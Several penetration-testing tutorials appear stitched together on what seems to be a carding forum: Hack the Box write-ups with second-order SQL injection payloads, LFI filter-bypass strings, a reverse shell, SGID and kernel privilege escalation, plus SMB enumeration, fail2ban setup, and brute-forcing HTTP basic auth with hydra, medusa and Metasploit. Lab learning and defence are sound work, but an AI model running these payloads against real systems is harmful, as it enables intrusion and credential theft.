Let’s start off with our basic nmap command to find out the open ports and services.
nmap -sC -sV 10.10.10.66
1
nmap -sC -sV 10.10.10.66
[Image: 1.png?w=687&ssl=1]

The Nmap output shows us that there are 2 ports open: 80(HTTP), 2222(SSH)
We find that port 80 is running http, so we open the IP in our browser.
[Image: 2.png?w=687&ssl=1]

When we visit the webpage, we find a login page. After trying a few SQL injection commands we find that this page is vulnerable to “second-order SQL injection”. This means to exploit this vulnerability we have to register a user with our SQL injection query and then login with the same username.
First, we register a user with credentials “admin’): pass” using the register link on the login page. Now when we login using this user we get an SQL error on the web page.
[Image: 3.png?w=687&ssl=1]

After finding the web application is vulnerable to Second Order SQL Injection. We now find the number of columns. We register a user with the following credentials:
Username: admin ‘) order by 3#
Password: pass
1
2
Username: admin ‘) order by 3#
Password: pass
We keep the password same for the user we register.
[Image: 4.png?w=687&ssl=1]

Now when we login, we get an SQL error that means the table has less than three columns. So we again register a user using the following query:
admin ‘) order by 2#
1
admin ‘) order by 2#
[Image: 5.png?w=687&ssl=1]

When we login, we find that we do not have an SQL error that means the table has 2 columns.
Now we are going to find the version of SQL database it is running. To find the version of the database we are going to register with the following query:
admin') union select 1,@@version#
1
admin') union select 1,@@version#
[Image: 6.png?w=687&ssl=1]

After finding the version we now know that it is a MySQL database. Now we find the name of the database. To find the name of the database we register with the following query:
admin') union select 1,database()#
1
admin') union select 1,database()#
[Image: 7.png?w=687&ssl=1]

Now we get the database to be called “notes” but we want the names of all the databases on the server. So we register a user using the following query:
admin') union select 1,group_concat(distinct table_schema) from information_schema.tables#
1
admin') union select 1,group_concat(distinct table_schema) from information_schema.tables#
[Image: 8.png?w=687&ssl=1]

We get another database called “sysadmin”; we find the table names inside “sysadmin”. To find the table names with we register the user with the following query:
admin') union select 1,group_concat(distinct table_name) from information_schema.columns where table_schema="sysadmin"#
1
admin') union select 1,group_concat(distinct table_name) from information_schema.columns where table_schema="sysadmin"#
[Image: 9.png?w=687&ssl=1]

We find two tables called “users” and “configs”; we now find the column name inside “users” table. To find the column names we register a user with the following query:
admin') union select 1,group_concat(distinct column_name) from information_schema.columns where table_schema="sysadmin" and table_name="users"#
1
admin') union select 1,group_concat(distinct column_name) from information_schema.columns where table_schema="sysadmin" and table_name="users"#
[Image: 10.png?w=687&ssl=1]

Now we find two columns called “username” and “password”. To find the data inside the columns we are going to register a user with the following query:
admin') union select 1,group_concat(username,0x7c,password,0x0a) from sysadmin.users#
1
admin') union select 1,group_concat(username,0x7c,password,0x0a) from sysadmin.users#
[Image: 11.png?w=687&ssl=1]

Now we find different username passwords; we try to login through SSH using these credentials and find that we were able to login using the credentials “ftpuser Angry

whereyougo?” . We are unable to get a shell using SSH, instead, we tried to connect using sftp and were successfully able to login.
ssh -p 2222 [email protected]
sftp -p 2222 [email protected]
1
2
ssh -p 2222 [email protected]
sftp -p 2222 [email protected]
[Image: 12.png?w=687&ssl=1]

Now as we are not able to get a shell using SSH, we tried to find sftp exploit and were able to find an exploit. You can download the exploit from

[To see content please register here]

We made changes to the exploit so that we can get a reverse shell.
[Image: 13.2.png?w=687&ssl=1]

After making changes to the exploit, we set up our listener using netcat and then run the script.
python sftp-exploit.py
1
python sftp-exploit.py
[Image: 13.png?w=687&ssl=1]

On our listener, we get a reverse shell.
nc -lvp 443
1
nc -lvp 443
[Image: 14.png?w=687&ssl=1]

After getting the reverse shell we spawn a TTY shell. Then inside /home/decoder/ directory we find a directory called “test” and user called “user.txt”. As they belong to the “decoder” group, we find files that belong to the “decoder” group.
python -c "import pty; pty.spawn('/bin/bash')"
find / -group "decoder" 2>/dev/null
1
2
python -c "import pty; pty.spawn('/bin/bash')"
find / -group "decoder" 2>/dev/null
[Image: 15.png?w=687&ssl=1]

Now running the sls command we find that it is a binary file that is running ls command. It also has an SGID bit set, so we can abuse this to escalate our privilege.
[Image: 16.1.png?w=687&ssl=1]

We use strings command to check the binary and find that it is using system function to execute the “ls” command.
strings /usr/bin/sls
1
strings /usr/bin/sls
[Image: 16.png?w=687&ssl=1]

Now as ls command is executed inside system function; we are going to use -b argument to execute our command.
sls -b '
bash -p'
1
2
sls -b '
bash -p'
After getting a shell we run “id” command and find that we have spawned a shell as user “decoder”. We now can open “user.txt” file and find the first flag.
[Image: 18.png?w=687&ssl=1]

Enumerating the system we now check the kernel version to check if there is an exploit available for privilege escalation.
uname -a
1
uname -a
[Image: 19.png?w=687&ssl=1]

We find that the version of the kernel is vulnerable to this exploit

[To see content please register here]

We download the code on our machine and compile it using gcc. Then we start python http server and send the compiled exploit file to the target machine. When we run the exploit we are unable to get a privileged shell as it shows an error saying that the kernel version is not recognized.
In Kali machine:
gcc -o priv 43418.c
python -m SimpleHTTPServer 80
1
2
gcc -o priv 43418.c
python -m SimpleHTTPServer 80
On target machine:
wget

[To see content please register here]

chmod +x priv
./priv
1
2
3
wget

[To see content please register here]

chmod +x priv
./priv
[Image: 21.png?w=687&ssl=1]

Now we have to make a few changes for the exploit to work. So we opened the c file again and make the changes.
[Image: 22.1.png?w=687&ssl=1]

Now we again compile and send the file to the target machine. This time when we run the file we get an error saying permission denied on set_groups.
[Image: 22.3.png?w=687&ssl=1]

So we exited the shell and ran the exploit as ftpuser. As soon as we run the exploit we get a root shell.
[Image: 22.png?w=687&ssl=1]

We go to /root directory and find a file called “root.txt”. When we open the file we get the final flag.
[Image: 23.png?w=687&ssl=1]

Enumeration is a very essential phase of Penetration testing, because when a pentester established an active connection with the victim, then he tries to retrieve as much as possible information of victim’s machine, which could be useful to exploit further.
In this article, we had explored SMB enumeration using Kali Linux inbuilt command-line tools only.
Table of Content

Nmblookup
nbtscan
SMBMap
Smbclient
Rpcclient
Nmap
Enum4linux

nmblookup
nmblookup is used to query NetBIOS names and map them to IP addresses in a network using NetBIOS over TCP/IP queries. The options allow the name queries to be directed at a particular IP broadcast area or to a particular machine. All queries are done over UDP.
nmblookup -A 192.168.1.103
1
nmblookup -A 192.168.1.103
nmblookup is a helpful command for enumerating domain/workstation and MAC address. NetBIOS work with the help of NetBIOS suffixes as a state following information:
For unique names:
00: Workstation Service (workstation name)
03: Windows Messenger service
06: Remote Access Service
20: File Service (also called Host Record)
21: Remote Access Service client
1B: Domain Master Browser – Primary Domain Controller for a domain
1D: Master Browser
For group names:
00: Workstation Service (workgroup/domain name)
1C: Domain Controllers for a domain
1E: Browser Service Elections
[Image: 2.png?w=687&ssl=1]

nbtscan
This is a command utility that tries to scan NetBIOS name servers open on a local or remote TCP/IP network and because it is a first step in finding open shares. It is created on the functionality of the Windows standard tool “nbtstat”, and it works on a whole subnet instead of individual IP.
nbtscan 192.168.1.1/24
1
nbtscan 192.168.1.1/24
As you can observe it has dumped almost the same result as above, but the most important fact is that it enumerates the whole subnet.
[Image: 3.1.png?w=687&ssl=1]

SMBMap
SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind and is intended to simplify searching for potentially sensitive data across large networks.
smbmap -H 192.168.1.102
smbmap -H 192.168.1.102 -d metasploitable -u msfadmin -p msfadmin
1
2
smbmap -H 192.168.1.102
smbmap -H 192.168.1.102 -d metasploitable -u msfadmin -p msfadmin
As you can observe, this tool not only shows share files even show their permission. If you will notice the second command then you will perceive that it has shown permission for user “msfadmin”.
[Image: 3.png?w=687&ssl=1]

Smbclient
smbclient is a client that can ‘talk’ to an SMB/CIFS server. It offers an interface similar to that of the FTP program. Operations include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on.
smbclient -L 192.168.1.102
smbclient //192.168.1.102/tmp
1
2
smbclient -L 192.168.1.102
smbclient //192.168.1.102/tmp
As you can observe with the help of smbclient we are able to view the shared folder of victim’s machine. Moreover, we can use smbclient for sharing the file in the network. Here you can observe we had login successfully using anonymous login and transferred the user.txt file.
[Image: 4.png?w=687&ssl=1]

Rpcclient
rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself. It has undergone several stages of development and stability. Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation.
We can use rpcclient to open an authenticated SMB session to a target machine by running the below command on our system where we have used a NULL Session, as we have entered a username of “”.
rpcclient -U "" -N 192.168.1.102
enumdomusers
1
2
rpcclient -U "" -N 192.168.1.102
enumdomusers
Further, we had use enumerate user command, and you can see the usernames as well as their RID (the suffix of their SID) in hexadecimal form.
[Image: 5.png?w=687&ssl=1]

We have to use the queryuser command to catch-all kinds of information related to an individual user based uniquely on the users RID in hex form, here RID: 0x3e8 denotes root user account.
queryuser 0x3e8
1
queryuser 0x3e8
Here note that the output result shows the last logon time for the user root, as well as the Password last set Time. Such kind of things is very valuable for penetration testers. And, this all can be achieved without an admin username and password.
[Image: 6.png?w=687&ssl=1]

Nmap
Following Script attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote code execution vulnerability (ms17-010, a.k.a. EternalBlue). The vulnerability is actively exploited by WannaCry and Petya ransomware and other malware.
nmap --script smb-vuln* -p 139,445 192.168.1.103
1
nmap --script smb-vuln* -p 139,445 192.168.1.103
The script connects to the $IPC tree, executes a transaction on FID 0 and checks if the error “STATUS_INSUFF_SERVER_RESOURCES” is returned to determine if the target is not patched against ms17-010. Additionally, it checks for known error codes returned by patched systems.
From the given below image you can observe, it found the target machine is vulnerable to ms17-010 due to SMBv1.
[Image: 7.png?w=687&ssl=1]

Enum4linux
Enum4linux is a tool for enumerating information from Windows and Samba systems. It attempts to offer similar functionality to enum.exe formerly available from

[To see content please register here]

.
It is written in Perl and is basically a wrapper around the Samba tools smbclient, rpclient, net, and nmblookup.
Key features:

RID cycling (When RestrictAnonymous is set to 1 on Windows 2000)
User listing (When RestrictAnonymous is set to 0 on Windows 2000)
Listing of group membership information
Share enumeration
Detecting if the host is in a workgroup or a domain
Identifying the remote operating system
Password policy retrieval

enum4linux -a 192.168.1.102
1
enum4linux -a 192.168.1.102
As you can observe, it has shown target belongs to Workgroup and dump NetBIOS name along with their suffix and much more information.
[Image: 8.png?w=687&ssl=1]

Also, perform enumerate user along with their RID in hexadecimal form with the help of rpcclient. Hence enum4linux is Swiss-knife when it comes to performing enumeration. But it cannot identify SMB vulnerability like Nmap.
[Image: 9.png?w=687&ssl=1]

Daily we hear some news related to cybercrime just, like, some malicious users or bots have successfully defaced some publicly accessible websites or some services. As we always try to explain through our articles, how such types of activities are possible when the system is weakly configured or misconfigured. It is therefore important to build some security measures, such as IDS / IPS in the firewall, to defend your server and clients while configuring it.
In this article, we will show how you can protect your network from brute force attacks and running network services?
The answer is: Using IPS in your network.
Table of Content

What is an IPS?
Introduction to fail2ban
Lab Setup Requirement
Brute Force Attack in Absence of IPS
Intrusion Prevention Lab Set-Up
Configure Fail2Ban
Protect SSH Against Brute Force Attack
Testing Fail2ban
How to unban IP in fail2ban for SSH
Protect FTP against Brute Force Attack
Testing Fail2ban for VSFTP
Unban IP for VSFTPD

What is an IPS?
Intrusion Prevention System is short-term as IPS, it networks security measures to examine the incoming traffic to perform intrusion detection and then block the detected incidents. For example, IPS can drop malicious packets, ban the traffic coming from an offending IP address.
Introduction to fail2ban
Fail2ban scans log files (e.g. /var/log/apache/error_log) and ban IPs that show the malicious signs — too many password failures, seeking for exploits, etc. Generally, Fail2Ban is then used to update firewall rules to reject the IP addresses for a specified amount of time.
In this article, I will discuss how to prevent your running services against brute force attack using fail2ban.
Source:

[To see content please register here]

Lab Setup Requirement
Victim’s Machine: Ubuntu 14.04 (192.168.0.105)
Pentester’s Machine: Kali Linux (192.168.0.105)
Brute Force Attack in Absence of IPS
Now let’s try to launch a brute force attack when on port 22 which is open in the target’s network to make unauthorized login. With the help hydra, we will try to guess SSH login credential.
hydra -L user.txt -P pass.txt 192.168.0.105 ssh
1
hydra -L user.txt -P pass.txt 192.168.0.105 ssh
[Image: 0.1.png?w=687&ssl=1]

As you can observe in the above image that it has successfully found aarti:123 for ssh login. Similarly, let’s try to launch a brute force attack when on port 21 which is open in the target’s network to make unauthorized login. With the help hydra, we will try to guess FTP login credential.
hydra -L user.txt -P pass.txt 192.168.0.105 ftp
1
hydra -L user.txt -P pass.txt 192.168.0.105 ftp
And from the given below image, you can observe, how badly these services are configured. Even the network administrator has not followed the password complexity rules as a result, it is so easy to launch a brute force against such type of network.
[Image: 0.2.png?w=687&ssl=1]

Intrusion Prevention Lab Set-Up
Therefore, I decided to set up the Intrusion Prevention system in this network which will monitor the incoming packets and detects the malicious activities and blocks that traffic coming from wicked IP. It is very easy to install fail2ban as Ubuntu already has a package for fail2ban in apt-repositories.
First of all, let me show you, the iptables rule list, which is empty as shown in the below image and then executes the installation command. Once it gets completed, then copy the configuration of jail.conf file inside jail.local file.
sudo iptables -S
sudo apt-get install fail2ban
1
2
sudo iptables -S
sudo apt-get install fail2ban
NOTE: While configuring fail2ban in your local machine, you must have root access or can use a non-root user with sudo rights.
[Image: 1.png?w=687&ssl=1]

Configure Fail2Ban
The service fail2ban has its default configuration files “jail.local” in the /etc/fail2ban directory, therefore, you should not edit this file, but you can override this into jail.local file with the help of below command and then open that file for configuring it as per your requirement.
Above you have seen that we had successfully launched brute force attack on SSH and FTP, therefore I will configure fail2ban to stop brute force attack in the network.
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo gedit /etc/fail2ban/jail.local
1
2
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo gedit /etc/fail2ban/jail.local
Once the file gets opened you need to focus a few things such as “ignoreip, bantime, maxretry” and then modify their value as per your requirement. Set the IPs you want fail2ban to ignore as ignoreip, set the ban time (in seconds) for a particular time period and maximum number for the user attempts.
ignoreip = 192.168.0.105 127.0.0.1
bantime = 600
maxretry = 3
1
2
3
ignoreip = 192.168.0.105 127.0.0.1
bantime = 600
maxretry = 3
[Image: 3.png?w=687&ssl=1]

Protect SSH Against Brute Force Attack
Ultimately, we come towards that portion of the configuration file which deals with specific services. These are identified by the section headers, such as [ssh].
To enable each of these sections to uncomment header [ssh] and modify the enabled value into “true” as shown in the below image, and then save the jail.local file and restart the fail2ban service:
[ssh]
enabled = true
service fail2ban restart
1
2
3
[ssh]
enabled = true
service fail2ban restart
[Image: 4.png?w=687&ssl=1]

Testing Fail2ban for SSH
Fail2ban offers a command “fail2ban-client” that can be used to execute Fail2ban from the command line, to check that the Fail2Ban is running and the SSH jail is enabled you can follow the given syntax to confirm its status.
Syntax: fail2ban-client COMMAND
sudo fail2ban-client status
sudo fail2ban-client status ssh
1
2
sudo fail2ban-client status
sudo fail2ban-client status ssh
As you can observe, the current filter list and action list is set as 0 or all I can say, it is empty. These values will get change if someone tries to cross the limit of maxretry.
[Image: 5.png?w=687&ssl=1]

As said above fail2ban will update iptables rules to reject the IP addresses for a specified amount of time and from the given below image you can observe, last 3 policies are automatically created by fail2ban.
[Image: 6.1.png?w=687&ssl=1]

Now let’s test host machine against brute force attack for ssh login once again:
hydra -L user.txt -P pass.txt 192.168.0.105 ssh
1
hydra -L user.txt -P pass.txt 192.168.0.105 ssh
[Image: 6.png?w=687&ssl=1]

And as you can obverse, this time we got “Connection refused” error while brute forcing attack on port 22.
Hmm!! Not bad, let’s also check the status for ssh jail status after this attack.
sudo fail2ban-client status ssh
1
sudo fail2ban-client status ssh
Now you can observe that in the given below image, it has shown 1 ban IP: 192.168.0.104 and anybody can explore log file too for more details.
tail /var/log/auth.log
1
tail /var/log/auth.log
[Image: 7.png?w=687&ssl=1]

How to unban IP in fail2ban for SSH
If you wish to unban the IP then again, you can go with fail2ban-client commands and do the same as done here:
fail2ban-client -i
set ssh unbanip 192.168.0.104
exit
sudo fail2ban-client status ssh
1
2
3
4
fail2ban-client -i
set ssh unbanip 192.168.0.104
exit
sudo fail2ban-client status ssh
And when you will check ssh jail status one more time, this time it won’t be showing any IP in the IP list.
[Image: 8.png?w=687&ssl=1]

Protect FTP against Brute Force Attack
Similarly, to enable FTP sections to uncomment [vsftpd] header and change the enabled line to be “true” as shown in the below image and even you can modify maxretry or log file path as per your requirement.
[vsftpd]
enabled = true
maxretry = 3
[Image: 10.png?w=687&ssl=1]

Testing Fail2ban for VSFTPD
Now save jail.local file and restart the fail2ban service and then you can check fail2ban and its Jail status including iptables rules.
sudo service fail2ban restart
sudo fail2ban-client status
sudo fail2ban-client status vsftpd
iptables -S
1
2
3
4
sudo service fail2ban restart
sudo fail2ban-client status
sudo fail2ban-client status vsftpd
iptables -S
With the help of the above command, we concluded that now there are two jails: ssh and vsftpd and also some new fail2ban policies have been created within iptables.
[Image: 11.png?w=687&ssl=1]

Now let’s test host machine against brute force attack for FTP login:
hydra -L user.txt -P pass.txt 192.168.0.105 ftp
1
hydra -L user.txt -P pass.txt 192.168.0.105 ftp
[Image: 12.1.png?w=687&ssl=1]

And as you can obverse, this time we got connection refused error while brute force attack and let’s check status for vsftpd jail status once again.
sudo fail2ban-client status vsftpd
1
sudo fail2ban-client status vsftpd
Yet again you can observe that in the given below image, it has shown 1 ban IP: 192.168.0.104 and anybody can check log file too for more details.
tail /var/log/vsftpd.log
1
tail /var/log/vsftpd.log
[Image: 12.png?w=687&ssl=1]

And look at the vsftpd log file, contains all detailed related to login attempt.
[Image: 13.png?w=687&ssl=1]

Unban IP in fail2ban for VSFTPD
If you wish to unban or unblock the IP then again, you can go with fail2ban-client commands and do the same as done here:
sudo fail2ban-client -i
set vsftpd unbanip 192.168.0.104
exit
sudo fail2ban-client status vsftpd
1
2
3
4
sudo fail2ban-client -i
set vsftpd unbanip 192.168.0.104
exit
sudo fail2ban-client status vsftpd
And when you will check vsftpd jail status once again, this time it won’t be showing any IP in the IP list.
[Image: 14.png?w=687&ssl=1]

Hope! You people will enjoy the article and find helpful in your network penetration testing and you can do more with fail2ban for securing your network.

[Guide] How to Hack the Box: Waldo Walkthrough

Posted by: NINZA - 05-14-2020, 11:05 AM - Forum: Carders Home - No Replies

Today we are going to solve another CTF challenge “waldo”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of waldo is 10.10.10.87
Penetrating Methodology

Network scanning (Nmap)
Browsing IP address through HTTP
Exploiting LFI Vulnerability
Finding RSA private key through LFI
Login through SSH using RSA private key
Escaping restricted shell
Using Linux “Capabilities” to read the root flag

Walkthrough
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -sV -sC -T4 10.10.10.87
1
nmap -sV -sC -T4 10.10.10.87
[Image: 1.png?w=687&ssl=1]

The Nmap output shows us that there are 4 ports open: 22(SSH), 80(HTTP)
We find that port 80 is running http, so we open the IP in our browser.
[Image: 2.png?w=687&ssl=1]

We find that we were redirected to /list.html. On the webpage, we find that it was an application for list manager. We capture its request using burpsuite and find that it is listing the files in the current directory.
[Image: 3.png?w=687&ssl=1]

We try to find the application is vulnerable to LFI. We remove “list” to list the files in the current directory and find a file called “fileRead.php”. Enumerating the web application, we found that “dirRead.php” can only be used to read contents of a directory and they cannot be used to take read files. So as we the name suggests “fileRead.php” we use this page to read files.
[Image: 4.png?w=687&ssl=1]

We use “fileRead.php” to read /etc/passwd. We change the variable from “path” to “file” and use the following string to bypass the filter:
./….//….//….//….//etc//passwd
1
./….//….//….//….//etc//passwd
When we check the /etc/passwd file we find a user with a distinctive UID and GID called “nobody”.
[Image: 5.png?w=687&ssl=1]

We check the home directory using “dirRead.php” and find a directory called “nobody”. We take a look inside “/home/nobody” and find the directory called “.ssh”. As “.ssh” might contain RSA private key for SSH login, we take a look inside it.
[Image: 6.png?w=687&ssl=1]

We take a look inside “/home/nobody/.ssh/” and find a file called “.monitor”.
[Image: 7.png?w=687&ssl=1]

We read the “.monitor” file inside “/home/nobody/.ssh” using “fileRead.php” and find RSA private key.
[Image: 8.png?w=687&ssl=1]

The response is in JSON format with special characters in between the characters of RSA private key. We use this site here, to decode the JSON response into a string.
[Image: 9.png?w=687&ssl=1]

We copy the RSA private key and save it in our system to login through SSH using this key.
[Image: 10.png?w=687&ssl=1]

We change the permission for the key and login as user “nobody”, as we are unable to login as “monitor”.
chmod 600 id_rsa
ssh -i id_rsa [email protected]
1
2
chmod 600 id_rsa
ssh -i id_rsa [email protected]
Then we take a look at the home directory and find a file called “user.txt”. We take a look at the content of the file and find the first flag.
[Image: 11.png?w=687&ssl=1]

Enumerating the system we go into the “.ssh” directory and check the authorized_keys file to find monitor user is allowed to login. As we were unable to login as a monitor from the external system, we now try to login as user “monitor” internally using the RSA private key “.monitor”.
ssh -i .monitor monitor@localhost
1
ssh -i .monitor monitor@localhost
[Image: 12.png?w=687&ssl=1]

After logging in as user “monitor” we find that we have a restricted shell.
echo $SHELL
echo $PATH
1
2
echo $SHELL
echo $PATH
[Image: 13.png?w=687&ssl=1]

We are not able to change the PATH and SHELL variable, so we use the “-t” argument to spawn a TTY shell while logging through SSH. After spawning a TTY shell we are able to change the SHELL and PATH environment variables.
ssh -i .monitor monitor@localhost -t bash
export SHELL=/bin/bash
export PATH=/bin:/sbin:/usr/bin:/usr/sbin:$PATH
1
2
3
ssh -i .monitor monitor@localhost -t bash
export SHELL=/bin/bash
export PATH=/bin:/sbin:/usr/bin:/usr/sbin:$PATH
[Image: 14.png?w=687&ssl=1]

Then enumerating the system we don’t find anything in particular. Enumerating further we find that this machine contains “capabilities”. Now Linux “capabilities” are like suid that can give certain file special privileges. We can find them using binary called “getcap”. Now we recursively search for files using getcap and find a binary called “tac” that can read files. Now using “tac” we open root.txt inside root directory and find the final flag.
getcap -r / 2>/dev/null
tac /root/root.txt
1
2
getcap -r / 2>/dev/null
tac /root/root.txt
[Image: 16.png?w=687&ssl=1]

In this article, we will learn about how to configure the password-protected Apache Web Server to restrict from online visitors without validation so that we can hide some essential and critical information to the unauthenticated users and how to penetrate it’s the weak configuration to break its security and exploit it.
Table of Content
Introduction to HTTP Basic Authentication

Lab Set_up Requirement

Setup Password Authentication

Installing the Apache utility Package
Creating the Password File
Configuring Access Control inside the Virtual Host Definition
Configuring Access Control with .htaccess Files
Confirm the Password Authentication

Exploiting HTTP Authentication

xHydra
Hydra
Ncrack
Medusa
Metasploit
Burp Suite

Introduction to HTTP Basic Authentication
In the context of an HTTP transaction, basic access authentication is a method for an HTTP user agent to provide a username and password when requesting.
HTTP Basic authentication (BA) implementation is the simplest technique for enforcing access controls to web resources because it doesn’t require cookies, session identifiers, or login pages; rather, HTTP Basic authentication uses standard fields in the HTTP header, obviating the need for handshakes.
The BA mechanism provides no confidentiality protection for the transmitted credentials. They are merely encoded with Base64 in transit, but not encrypted or hashed in any way. HTTPS is, therefore, typically preferred used in conjunction with Basic Authentication.
For more details read from wikipedia.org
Lab Setup Requirement
Apache Server (Ubuntu 14.04)
Penetration Testing Machine (Kali Linux)
Set Up Password Authentication
Installing the Apache utility Package
Let’s start with the following command to install an Apache2 utility package called ‘htpasswd’. The htpasswd is used to create and update the flat-files used to store usernames and password for basic authentication of HTTP users.
sudo apt-get install apache2 apache2-utils
1
sudo apt-get install apache2 apache2-utils
[Image: 1.png?w=687&ssl=1]

Creating the Password File
Now use the htpasswd command to create a password file that Apache will use to authenticate users and use a hidden file “.htpasswd” in our /etc/apache2 configuration directory to store password.
sudo htpasswd -c /etc/apache2/.htpasswd raj
cat /etc/apache2/.htpasswd
1
2
sudo htpasswd -c /etc/apache2/.htpasswd raj
cat /etc/apache2/.htpasswd
[Image: 2.png?w=687&ssl=1]

Configuring Access Control inside the Virtual Host Definition
Now save the following configuration in 000-default.conf file.
gedit etc/apache2/sites-enabled/000-default.conf
1
gedit etc/apache2/sites-enabled/000-default.conf

<Directory "/var/www/html">
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
</Directory>
1
2
3
4
5
6
<Directory "/var/www/html">
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
</Directory>
[Image: 3.png?w=687&ssl=1]

Configuring Access Control with .htaccess Files
Open the main Apache configuration file to enable password protection using .htaccess files and add the following line as highlighted.
sudo gedit /etc/apache2/apache2.conf
ServerName localhost
1
2
sudo gedit /etc/apache2/apache2.conf
ServerName localhost
[Image: 4.png?w=687&ssl=1]

Enable .htaccess processing by changing the AllowOverride directive “None” to “All” in the block for the /var/www directory and then save the file and restart the apache service.
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
1
2
3
4
5
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
[Image: 5.png?w=687&ssl=1]

Next, you need to add an htaccess file to the directory you wish to restrict. Here, I want to restrict the entire website which is could be through /var/www/html, but you can place this file in any directory where you wish to restrict access:
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
1
2
3
4
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user

sudo service apache2 restart
1
sudo service apache2 restart
While configuring .htaccess file we had added few options for the block directory. Let’s see what this configuration denotes.
AuthType Basic: This will set up a basic authentication for our site.
AuthName “Restricted Contents”: This will show the name of the authentication at the prompt.
AuthUserFile /etc/apache2/.htpasswd : This will show the location of the authentication file.
Require Valid-user: This will be used by one user who has confirmed their authentication who are permitted to access the website.
[Image: 6.png?w=687&ssl=1]

Confirm the Password Authentication
Try to access your restricted content in a web browser to confirm that your content is protected. I will be accessible with a username and password prompt that looks like this:
[Image: 7.png?w=687&ssl=1]

If you will try to access the website without authentication or canceled the Required Authentication page then it will displace 401 error Unauthorized Access.
[Image: 8.1.png?w=687&ssl=1]

If you are valid users and try to access password protected website by using the valid credential, for example, we had created an account with raj: 123 to access apache HTTP service.
[Image: 8.png?w=687&ssl=1]

As you can observe that, now we are able to access the content of the website.
[Image: 9.png?w=687&ssl=1]

Exploiting HTTP Authentication
xHydra
This is the graphical version to apply dictionary attack via FTP port to hack a system. For this method to work:
Open xHydra in your Kali. And select Single Target option and there give the IP of your victim PC. And select HTTP in the box against Protocol option and give the port number 80 against the port option.
[Image: 10.png?w=687&ssl=1]

Now, go to Passwords tab and select Username List and give the path of your text file, which contains usernames, in the box adjacent to it.
Then select Password List and give the path of your text file, which contains all the passwords, in the box adjacent to it.
[Image: 11.png?w=687&ssl=1]

After doing this, go to the Start tab and click on the Start button on the left.
Now, the process of dictionary attack will start. Thus, you will obtain the username and password of your victim.
[Image: 13.png?w=687&ssl=1]

Hydra
Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, FTP, HTTP, https, SMB, several databases, and much more
Now, we need to choose wordlist. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.
Run the following command
hydra -L user.txt -P pass.txt 192.168.0.105 http-get
1
hydra -L user.txt -P pass.txt 192.168.0.105 http-get
-L: denotes the path for username list
-P: denotes the path for the password list
Once the commands are executed it will start applying the dictionary attack and so you will have the right username and password in no time. As you can observe that we had successfully grabbed the HTTP username as raj and password as 123.
[Image: 14.png?w=687&ssl=1]

Ncrack
Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords.
Run the following command
ncrack -U user.txt -P pass.txt

[To see content please register here]

1
ncrack -U user.txt -P pass.txt

[To see content please register here]

Here
-U: denotes the path for username list
-P: denotes the path for the password list
As you can observe that we had successfully grabbed the HTTP username as raj and password as 123.
[Image: 15.png?w=687&ssl=1]

Medusa
Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, FTP, HTTP, IMAP, rlogin, SSH, Subversion, and VNC to name a few
Run the following command
medusa -h 192.168.0.105 -U user.txt -P pass.txt -M http -f
1
medusa -h 192.168.0.105 -U user.txt -P pass.txt -M http -f
Here
-U: denotes the path for username list
-P: denotes the path for the password list
As you can observe that we had successfully grabbed the HTTP username as raj and password as 123.
[Image: 16.png?w=687&ssl=1]

Metasploit
This module attempts to authenticate to an HTTP service. Open Kali terminal type msfconsole and then type:
use auxiliary/scanner/http/http_login
msf auxiliary(scanner/http/http_login) > set user_file user.txt
msf auxiliary(scanner/http/http_login) > set pass_file pass.txt
msf auxiliary(scanner/http/http_login) > set rhosts 192.168.0.105
msf auxiliary(scanner/http/http_login) > set stop_on_success true
msf auxiliary(scanner/http/http_login) > exploit
1
2
3
4
5
6
use auxiliary/scanner/http/http_login
msf auxiliary(scanner/http/http_login) > set user_file user.txt
msf auxiliary(scanner/http/http_login) > set pass_file pass.txt
msf auxiliary(scanner/http/http_login) > set rhosts 192.168.0.105
msf auxiliary(scanner/http/http_login) > set stop_on_success true
msf auxiliary(scanner/http/http_login) > exploit
[Image: 17.png?w=687&ssl=1]

Burp Suite
Now here I had just typed the random value for authentication in order to fetch the request through Burp Suite. So before you sent the request to server turn on the burp suite and select proxy tab then, click on the intercept is on after then send the user authentication by clicking ok
[Image: 24.png?w=687&ssl=1]

Thus the sent request is captured by burp suite which you can see in the given below image. In the screenshot, I had highlighted some value in the last line. Here it says the type of authentication provided is basic and if you have read above theory of basic authentication I had described that it is encoded in base64.
Now time to generate the encoded value for authentication inside the burp suite. Click on action tab select send to intruder for HTTP Fuzzing attack.
[Image: 25.png?w=687&ssl=1]

Now open intruder frame and click on the position. Configure the position where payload will be inserted into the request. The attack type determines the way in which the payload is assigned to the payload position. Now select “the encoded value of authentication” for payload position and click to ADD button on the left side of the frame.
[Image: 26.png?w=687&ssl=1]

The base64 encoded value of Authentication is a combination of username and password now the scenario is to generate the same encoded value of authentication with the help of user password dictionary, Therefore, I have made a dictionary which contains both user password names in a text file.
In order to use the dictionary as payload click on payload tab under intruder; now load your dictionary which contains user password names from payload options.
[Image: 27.png?w=687&ssl=1]

